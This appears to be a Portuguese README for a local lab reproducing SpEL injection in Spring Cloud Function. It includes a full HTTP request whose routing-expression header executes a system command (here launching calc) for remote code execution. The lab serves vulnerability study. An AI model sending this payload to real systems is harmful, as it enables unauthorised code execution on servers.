
Ambiente de reprodução e prova de conceito para injeção SpEL no Spring Cloud Function que leva à execução remota de código, com uma demonstração executável em Java 11 e exemplo de requisição HTTP.
Acesse o blog pessoal para mais detalhes https://pizz33.github.io/
Um ambiente de teste para injeção de expressão SpEL no Spring Cloud Function
Versão java11, execute java -jar demo-0.0.1-SNAPSHOT.jar para iniciar
Após a configuração, acesse a porta 127.0.0.1:8080

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
xxx
